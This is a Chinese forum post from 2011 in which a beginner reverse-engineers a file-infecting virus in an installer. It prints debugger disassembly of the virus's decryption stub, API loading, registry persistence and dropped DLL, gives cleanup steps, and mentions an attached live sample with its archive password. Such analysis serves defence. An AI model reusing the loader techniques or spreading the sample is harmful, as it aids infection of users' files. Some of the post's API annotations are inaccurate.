本帖最后由 xiangshen 于 2011-12-11 21:47 编辑
[文章标题]:菜鸟第一次分析病毒 [文章作者]:willjhw [软件名称]:可牛下载端(已被感染) [加壳方式]:UPX [编写语言]:MicrosoftVisual C++ 8 * [操作系统]:windows xp [软件介绍]:这是以前我做的一个备份文件,就是可牛杀毒的下载端,一直没有时间删除。 [作者声明]:本人菜鸟,很多分析不到位,还请大神们多多指教,很谦虚的向你们学习。 --------------------------------------------------------------------------------------------------------------------------------- [前言]: 最近很倒霉呀,我的移动硬盘经常中毒呀,最近不是又中招了么,本来复制一个软件去虚拟机里使用,结果安装刚开始就有访问网络,然后软件自校验又说自己被损坏了,我就去扫毒下,囧啊,居然真的被感染了,泪奔…… 我那么多exe 备份呀,呜呜…. 生气了我就决定看看这个病毒 [详细过程]:
老规矩,首先是查壳啦,如下图:
核心扫描才出现是upx的壳,我们再看看区段,如图: 发现多了最后那个区段,肯定动了手脚的,我们载入OD分析
看见了吧,入口就是那个多加的区段,说明病毒在这个区段内做了手脚,我们继续分析。
004CF000 > 68 91473600 push 0x364791 ; 程序入口,不是原程序的入口
004CF005 5B pop ebx
004CF006 BA 16F04C00 mov edx,knsdinst.004CF016
004CF00B 68 C4060000 push 0x6C4
004CF010 5F pop edi
004CF011 311C3A xor dword ptr ds:[edx+edi],ebx ; 这是一个自解密的过程,ebx做解密因子
004CF014 83EF 04 sub edi,0x4
004CF017 ^ 75 F8 jnz Xknsdinst.004CF011 ; 循环
004CF019 90 nop
004CF01A 79 3A jns Xknsdinst.004CF056
004CF01C 37 aaa
004CF01D 0091 47360091 add byte ptr ds:[ecx+0x91003647],dl
004CF023 47 inc edi
004CF024 76 00 jbe Xknsdinst.004CF026
004CF026 012E add dword ptr ds:[esi],ebp
004CF028 3A00 cmp al,byte ptr ds:[eax]
004CF02A 41 inc ecx
004CF02B 2233 and dh,byte ptr ds:[ebx]
004CF02D 006D 2B add byte ptr ss:[ebp+0x2B],ch
004CF030 3300 xor eax,dword ptr ds:[eax]
004CF032 91 xchg eax,ecx
004CF033 F73400 div dword ptr ds:[eax+eax]
004CF036 6E outs dx,byte ptr es:[edi]
进入程序就是一个大的自解密过程,可能是为了保护自己的代码吧,我们f4到4cf019就是JNZ下面那个nop处,发现下面的代码全部恢复了,如下:
004CF000 > 68 91473600 push 0x364791 ; 程序入口,不是原程序的入口
004CF005 5B pop ebx
004CF006 BA 16F04C00 mov edx,knsdinst.004CF016
004CF00B 68 C4060000 push 0x6C4
004CF010 5F pop edi
004CF011 311C3A xor dword ptr ds:[edx+edi],ebx ; 这是一个自解密的过程,ebx做解密因子
004CF014 83EF 04 sub edi,0x4
004CF017 ^ 75 F8 jnz Xknsdinst.004CF011 ; 循环
004CF019 90 nop
004CF01A E8 7D010000 call knsdinst.004CF19C
004CF01F 0000 add byte ptr ds:[eax],al
004CF021 0000 add byte ptr ds:[eax],al
004CF023 0040 00 add byte ptr ds:[eax],al
004CF026 90 nop
004CF027 690C00 D0650500 imul ecx,dword ptr ds:[eax+eax],0x565D0
004CF02E FC cld
004CF02F 6C ins byte ptr es:[edi],dx
004CF030 05 0000B002 add eax,0x2B00000
004CF035 00FF add bh,bh
004CF037 FFFF ??? ; 未知命令
004CF039 FF30 push dword ptr ds:[eax]
004CF03B DE4C00 9A fimul word ptr ds:[eax+eax-0x66]
004CF03F DF ??? ; 未知命令
是不是和上面的代码不同啦,好,我们继续跟下去。
004CF19D 8BEC mov ebp,esp
004CF19F 81C4 B4FEFFFF add esp,-0x14C
004CF1A5 C645 F7 00 mov byte ptr ss:[ebp-0x9],0x0
004CF1A9 8BC5 mov eax,ebp
004CF1AB 83C0 04 add eax,0x4
004CF1AE 8B10 mov edx,dword ptr ds:[eax]
004CF1B0 83EA 05 sub edx,0x5
004CF1B3 8955 FC mov dword ptr ss:[ebp-0x4],edx
004CF1B6 8B4D FC mov ecx,dword ptr ss:[ebp-0x4]
004CF1B9 81C1 84000000 add ecx,0x84
004CF1BF 894D F8 mov dword ptr ss:[ebp-0x8],ecx
004CF1C2 8B45 FC mov eax,dword ptr ss:[ebp-0x4]
004CF1C5 8B50 0C mov edx,dword ptr ds:[eax+0xC]
004CF1C8 8B4D FC mov ecx,dword ptr ss:[ebp-0x4]
004CF1CB 0351 08 add edx,dword ptr ds:[ecx+0x8]
004CF1CE 8BC5 mov eax,ebp
004CF1D0 83C0 04 add eax,0x4
004CF1D3 8910 mov dword ptr ds:[eax],edx
004CF1D5 FF75 F8 push dword ptr ss:[ebp-0x8]
004CF1D8 FF75 FC push dword ptr ss:[ebp-0x4]
004CF1DB 8D55 BC lea edx,dword ptr ss:[ebp-0x44]
004CF1DE 52 push edx
004CF1DF E8 78000000 call knsdinst.004CF25C
.
.
.
004CF25C 55 push ebp
004CF25D 8BEC mov ebp,esp
004CF25F 51 push ecx
004CF260 8B45 0C mov eax,dword ptr ss:[ebp+0xC]
004CF263 8B50 20 mov edx,dword ptr ds:[eax+0x20]
004CF266 8B0A mov ecx,dword ptr ds:[edx]
004CF268 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
004CF26B 8908 mov dword ptr ds:[eax],ecx
004CF26D 8B55 0C mov edx,dword ptr ss:[ebp+0xC]
004CF270 8B4A 20 mov ecx,dword ptr ds:[edx+0x20]
004CF273 83C1 04 add ecx,0x4
004CF276 8B01 mov eax,dword ptr ds:[ecx]
004CF278 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF27B 8942 04 mov dword ptr ds:[edx+0x4],eax
004CF27E FF75 10 push dword ptr ss:[ebp+0x10]
004CF281 8B4D 08 mov ecx,dword ptr ss:[ebp+0x8]
004CF284 FF11 call dword ptr ds:[ecx] ; kernel32.LoadLibraryA
这里很明显呀,实现寻找kernel32的地址,应该为了再以后使用api方便。 004CF286 8945 FC mov dword ptr ss:[ebp-0x4],eax
004CF289 837D FC 00 cmp dword ptr ss:[ebp-0x4],0x0
004CF28D 0F84 F9000000 je knsdinst.004CF38C
004CF293 8B45 0C mov eax,dword ptr ss:[ebp+0xC]
004CF296 FF70 24 push dword ptr ds:[eax+0x24]
004CF299 FF75 FC push dword ptr ss:[ebp-0x4]
004CF29C 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF29F FF52 04 call dword ptr ds:[edx+0x4] ; kernel32.GetProcAddress
获取LoadLibrary地址。 004CF2A2 8B4D 0C mov ecx,dword ptr ss:[ebp+0xC]
004CF2A5 8B51 20 mov edx,dword ptr ds:[ecx+0x20]
004CF2A8 8902 mov dword ptr ds:[edx],eax
004CF2AA 8B45 0C mov eax,dword ptr ss:[ebp+0xC]
004CF2AD FF70 28 push dword ptr ds:[eax+0x28]
004CF2B0 FF75 FC push dword ptr ss:[ebp-0x4]
004CF2B3 8B4D 08 mov ecx,dword ptr ss:[ebp+0x8]
004CF2B6 FF51 04 call dword ptr ds:[ecx+0x4] ; kernel32.GetProcAddress
获取getprocAddress地址。 004CF2B9 8B55 0C mov edx,dword ptr ss:[ebp+0xC]
004CF2BC 8B4A 20 mov ecx,dword ptr ds:[edx+0x20]
004CF2BF 83C1 04 add ecx,0x4
004CF2C2 8901 mov dword ptr ds:[ecx],eax
004CF2C4 8B45 10 mov eax,dword ptr ss:[ebp+0x10]
004CF2C7 83C0 0D add eax,0xD
004CF2CA 50 push eax
004CF2CB FF75 FC push dword ptr ss:[ebp-0x4]
004CF2CE 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
004CF2D1 FF50 04 call dword ptr ds:[eax+0x4] ; kernel32.GetProcAddress
获取GetTempPath的地址,以后应该会在Temp目录释放什么吧。
004CF2D4 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF2D7 8942 08 mov dword ptr ds:[edx+0x8],eax
004CF2DA 8B4D 10 mov ecx,dword ptr ss:[ebp+0x10]
004CF2DD 83C1 1A add ecx,0x1A
004CF2E0 51 push ecx
004CF2E1 FF75 FC push dword ptr ss:[ebp-0x4]
004CF2E4 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
004CF2E7 FF50 04 call dword ptr ds:[eax+0x4] ; kernel32.GetProcAddress
获取GetTempFileName的地址。 004CF2EA 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF2ED 8942 0C mov dword ptr ds:[edx+0xC],eax
004CF2F0 8B4D 10 mov ecx,dword ptr ss:[ebp+0x10]
004CF2F3 83C1 2B add ecx,0x2B
004CF2F6 51 push ecx
004CF2F7 FF75 FC push dword ptr ss:[ebp-0x4]
004CF2FA 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
004CF2FD FF50 04 call dword ptr ds:[eax+0x4] ; kernel32.GetProcAddress
获取CreateFile的地址,这个就说明它要创建什么啦。 004CF300 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF303 8942 10 mov dword ptr ds:[edx+0x10],eax
004CF306 8B4D 10 mov ecx,dword ptr ss:[ebp+0x10]
004CF309 83C1 37 add ecx,0x37
004CF30C 51 push ecx
004CF30D FF75 FC push dword ptr ss:[ebp-0x4]
004CF310 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
004CF313 FF50 04 call dword ptr ds:[eax+0x4] ; kernel32.GetProcAddress
获取ReadFile的地址。 004CF316 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF319 8942 14 mov dword ptr ds:[edx+0x14],eax
004CF31C 8B4D 10 mov ecx,dword ptr ss:[ebp+0x10]
004CF31F 83C1 40 add ecx,0x40
004CF322 51 push ecx
004CF323 FF75 FC push dword ptr ss:[ebp-0x4]
004CF326 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
004CF329 FF50 04 call dword ptr ds:[eax+0x4] ; kernel32.GetProcAddress
获取WriteFile的地址。 004CF32C 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF32F 8942 18 mov dword ptr ds:[edx+0x18],eax
004CF332 8B4D 10 mov ecx,dword ptr ss:[ebp+0x10]
004CF335 83C1 4A add ecx,0x4A
004CF338 51 push ecx
004CF339 FF75 FC push dword ptr ss:[ebp-0x4]
004CF33C 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
004CF33F FF50 04 call dword ptr ds:[eax+0x4] ; kernel32.GetProcAddress
获取SetFilePointer地址。 004CF342 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF345 8942 1C mov dword ptr ds:[edx+0x1C],eax
004CF348 8B4D 10 mov ecx,dword ptr ss:[ebp+0x10]
004CF34B 83C1 59 add ecx,0x59
004CF34E 51 push ecx
004CF34F FF75 FC push dword ptr ss:[ebp-0x4]
004CF352 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
004CF355 FF50 04 call dword ptr ds:[eax+0x4] ; kernel32.GetProcAddress
获取CloseHandle地址。 004CF358 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF35B 8942 20 mov dword ptr ds:[edx+0x20],eax
004CF35E 8B4D 10 mov ecx,dword ptr ss:[ebp+0x10]
004CF361 83C1 65 add ecx,0x65
004CF364 51 push ecx
004CF365 FF75 FC push dword ptr ss:[ebp-0x4]
004CF368 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
004CF36B FF50 04 call dword ptr ds:[eax+0x4] ; kernel32.GetProcAddress
获取GetTickCount地址。 004CF36E 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF371 8942 24 mov dword ptr ds:[edx+0x24],eax
004CF374 8B4D 10 mov ecx,dword ptr ss:[ebp+0x10]
004CF377 83C1 72 add ecx,0x72
004CF37A 51 push ecx
004CF37B FF75 FC push dword ptr ss:[ebp-0x4]
004CF37E 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
004CF381 FF50 04 call dword ptr ds:[eax+0x4] ; kernel32.GetProcAddress
获取GetModuleFileName的地址。 004CF390 8B55 10 mov edx,dword ptr ss:[ebp+0x10]
004CF393 81C2 85000000 add edx,0x85
004CF399 52 push edx
004CF39A 8B4D 08 mov ecx,dword ptr ss:[ebp+0x8]
004CF39D FF11 call dword ptr ds:[ecx] ; kernel32.LoadLibraryA
导入ADVAPI32.dll,说明这个病毒还会对注册表进行操作。 004CF39F 8945 FC mov dword ptr ss:[ebp-0x4],eax
004CF3A2 837D FC 00 cmp dword ptr ss:[ebp-0x4],0x0
004CF3A6 74 4A je Xknsdinst.004CF3F2
004CF3A8 8B45 10 mov eax,dword ptr ss:[ebp+0x10]
004CF3AB 05 92000000 add eax,0x92
004CF3B0 50 push eax
004CF3B1 FF75 FC push dword ptr ss:[ebp-0x4]
004CF3B4 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF3B7 FF52 04 call dword ptr ds:[edx+0x4] ; kernel32.GetProcAddress
获取RegOpenKeyExA的地址。 004CF3BA 8B4D 08 mov ecx,dword ptr ss:[ebp+0x8]
004CF3BD 8941 2C mov dword ptr ds:[ecx+0x2C],eax
004CF3C0 8B45 10 mov eax,dword ptr ss:[ebp+0x10]
004CF3C3 05 A0000000 add eax,0xA0
004CF3C8 50 push eax
004CF3C9 FF75 FC push dword ptr ss:[ebp-0x4]
004CF3CC 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF3CF FF52 04 call dword ptr ds:[edx+0x4] ; kernel32.GetProcAddress
获取RegQUeryValueExA的地址。 004CF3D2 8B4D 08 mov ecx,dword ptr ss:[ebp+0x8]
004CF3D5 8941 30 mov dword ptr ds:[ecx+0x30],eax
004CF3D8 8B45 10 mov eax,dword ptr ss:[ebp+0x10]
004CF3DB 05 B1000000 add eax,0xB1
004CF3E0 50 push eax
004CF3E1 FF75 FC push dword ptr ss:[ebp-0x4]
004CF3E4 8B55 08 mov edx,dword ptr ss:[ebp+0x8]
004CF3E7 FF52 04 call dword ptr ds:[edx+0x4] ; kernel32.GetProcAddress
获取RegCloseKey的地址。 004CF400 55 push ebp
004CF401 8BEC mov ebp,esp
004CF403 83C4 F4 add esp,-0xC
004CF406 C645 FB 00 mov byte ptr ss:[ebp-0x5],0x0
004CF40A C745 F4 0601000>mov dword ptr ss:[ebp-0xC],0x106
004CF411 8D45 FC lea eax,dword ptr ss:[ebp-0x4]
004CF414 50 push eax
004CF415 68 19000200 push 0x20019
004CF41A 6A 00 push 0x0
004CF41C 8B55 10 mov edx,dword ptr ss:[ebp+0x10]
004CF41F 81C2 BD000000 add edx,0xBD
004CF425 52 push edx
004CF426 68 01000080 push 0x80000001
004CF42B 8B4D 0C mov ecx,dword ptr ss:[ebp+0xC]
004CF42E FF51 2C call dword ptr ds:[ecx+0x2C] ; ADVAPI32.RegOpenKeyExA
利用RegOpenKeyExA新建了Software\Mircrosoft\Windows\CurrentVersion\Explorer 004CF431 85C0 test eax,eax
004CF433 75 32 jnz Xknsdinst.004CF467
004CF435 8D45 F4 lea eax,dword ptr ss:[ebp-0xC]
004CF438 50 push eax
004CF439 FF75 08 push dword ptr ss:[ebp+0x8]
004CF43C 6A 00 push 0x0
004CF43E 6A 00 push 0x0
004CF440 8B55 10 mov edx,dword ptr ss:[ebp+0x10]
004CF443 81C2 F0000000 add edx,0xF0
004CF449 52 push edx
004CF44A FF75 FC push dword ptr ss:[ebp-0x4]
004CF44D 8B4D 0C mov ecx,dword ptr ss:[ebp+0xC]
004CF450 FF51 30 call dword ptr ds:[ecx+0x30] ; ADVAPI32.RegQueryValueExA
利用RegQueryValueExA将注册表值"PINF"写入刚新建的注册表。 004CF453 85C0 test eax,eax
004CF455 0F94C0 sete al
004CF458 83E0 01 and eax,0x1
004CF45B 8845 FB mov byte ptr ss:[ebp-0x5],al
004CF45E FF75 FC push dword ptr ss:[ebp-0x4]
004CF461 8B55 0C mov edx,dword ptr ss:[ebp+0xC]
004CF464 FF52 34 call dword ptr ds:[edx+0x34] ; ADVAPI32.RegCloseKey
关闭注册表操作。 004CF209 FF75 F8 push dword ptr ss:[ebp-0x8]
004CF20C FF75 FC push dword ptr ss:[ebp-0x4]
004CF20F 8D55 BC lea edx,dword ptr ss:[ebp-0x44]
004CF212 52 push edx
004CF213 8D8D B6FEFFFF lea ecx,dword ptr ss:[ebp-0x14A]
004CF219 51 push ecx
004CF21A E8 51020000 call knsdinst.004CF470
压入了一个值,名字是C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\gvu13.tmp,也就是在C盘下面的那个Temp目录。 004CF470 55 push ebp
004CF471 8BEC mov ebp,esp
004CF473 83C4 F8 add esp,-0x8
004CF476 FF75 08 push dword ptr ss:[ebp+0x8]
004CF479 8B45 0C mov eax,dword ptr ss:[ebp+0xC]
004CF47C FF10 call dword ptr ds:[eax] ; kernel32.LoadLibraryA
居然用loadlibrary载入了刚在那个Temp目录释放的gvu13.tmp我们可以大胆的猜想那个释放的就是一个dll而且是这个病毒的主体。 004C6990 60 pushad ; SFX 代码真正入口点
004C6991 BE 00904700 mov esi,knsdinst.00479000
004C6996 8DBE 0080F8FF lea edi,dword ptr ds:[esi+0xFFF88000]
004C699C 57 push edi
004C699D EB 0B jmp Xknsdinst.004C69AA
004C699F 90 nop
004C69A0 8A06 mov al,byte ptr ds:[esi]
004C69A2 46 inc esi
004C69A3 8807 mov byte ptr ds:[edi],al
004C69A5 47 inc edi
004C69A6 01DB add ebx,ebx
004C69A8 75 07 jnz Xknsdinst.004C69B1
004C69AA 8B1E mov ebx,dword ptr ds:[esi]
004C69AC 83EE FC sub esi,-0x4
004C69AF 11DB adc ebx,ebx
004C69B1 ^ 72 ED jb Xknsdinst.004C69A0
004C69B3 B8 01000000 mov eax,0x1
004C69B8 01DB add ebx,ebx
004C69BA 75 07 jnz Xknsdinst.004C69C3
004C69BC 8B1E mov ebx,dword ptr ds:[esi]
004C69BE 83EE FC sub esi,-0x4
004C69C1 11DB adc ebx,ebx
004C69C3 11C0 adc eax,eax
然后跟几步就跟到了程序加壳后的入口点了,这个是UPX壳,很简单的,一个ESP就可以脱下了,脱后如下图: 可以明显的看见是vc的。 被感染体我们分析完了,总结下: 1.文件运行后会衍生以下文件,其中%Temp%目录下生成的文件名可变:我的这个 gvu13.tmp。 2.新建注册表 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer] 注册表值:"PINF" 类型:REG_BINARY 值: "C:\DOCUME~1\ADMIN_~1\LOCALS~1\Temp\spf13D.tmp" 描述:随Explorer.exe启动而启动。 运行时病毒会附加在Explorer.exe文件上以便驻留内存。同时会感染本地的.exe和.scr文件以及局域网映射盘上的.exe和.scr文件,由于该病毒使用了延迟算法,使得该病毒在一段时间内只能感染少量的文件,但正是这种技术使用户很难在初期发现自己的机器感染了病毒。 知道了这个病毒的大概行为感染过程,那我们来想想对策去清理它吧。 1.
先打开显示所有文件和受保护操作系统文件,进入安全模式,清除C:\Documents and Settings\Administrator\Local Settings\Temp\*.tmp 2.
然后删除HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer下的PINF键值。 3.
关闭电脑内的所有网络以及文件共享即可。 4.
用杀毒软件进行查杀,还有些专杀,可以让95%的软件继续使用,但是有些软件就必须重新安装了。 差不多就分析这么多吧,还有很多没有分析到位,只是和大家一起分享我的东西。 小心有毒呀,记得在虚拟机里使用呀,解压密码:52pojie
|